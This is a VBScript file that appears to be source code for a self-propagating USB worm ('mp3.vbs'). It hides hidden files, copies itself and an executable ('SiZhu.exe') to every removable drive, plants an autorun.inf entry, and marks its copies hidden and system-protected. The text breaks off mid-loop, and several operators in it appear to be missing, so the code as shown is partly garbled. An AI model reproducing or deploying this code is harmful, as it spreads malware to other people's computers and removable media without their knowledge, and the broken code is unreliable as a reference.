On error resume next
Dim fso,wshell,curfolder,curdristr,curdri
Set fso=createobject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")
Set curfolder=fso.GetFolder(".")
curdristr=Left(WScript.ScriptFullName,3)
Set curdri=fso.GetDrive(curdristr)
reghid() '不顯示隱藏文件
If WScript.ScriptFullName=fso.GetSpecialFolder(1)"\mp3.vbs" Then '如果在system32中
For i=1 To 2 Step 0
reghid()
For Each dri In fso.Drives
If dri.DriveType=1 And dri>"A:" And dri>"B:" Then
'autorun.inf文件夾改名
If fso.FolderExists(dri.Path"\autorun.inf") Then
fso.MoveFolder dri.Path"\autorun.inf",dri.Path"\Rubbish"
End If
'復(fù)制自身及exe文件到移動硬盤
If fso.FileExists(dri.Path"\mp3.vbs") And fso.FileExists(dri.Path"\autorun.inf") Then
Else
If fso.FileExists(dri.Path"\mp3.vbs") Then
fso.DeleteFile dri.Path"\mp3.vbs",True
ElseIf fso.FileExists(dri.Path"\autorun.inf") Then
fso.DeleteFile dri.Path"\autorun.inf",True
End if
fso.CopyFile WScript.ScriptFullName,dri.Path"\mp3.vbs",True
If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path"\SiZhu.exe") Then
fso.CopyFile ".\SiZhu.exe",dri.Path"\SiZhu.exe",True
End If
autoinf(dri.Path)
'給剛復(fù)制的文件加上隱藏屬性
Set norkon=fso.GetFile(dri.Path"\mp3.vbs")
wshell.run "attrib +r +a +s +h "dri.Path"\mp3.vbs",0
Set norkon=Nothing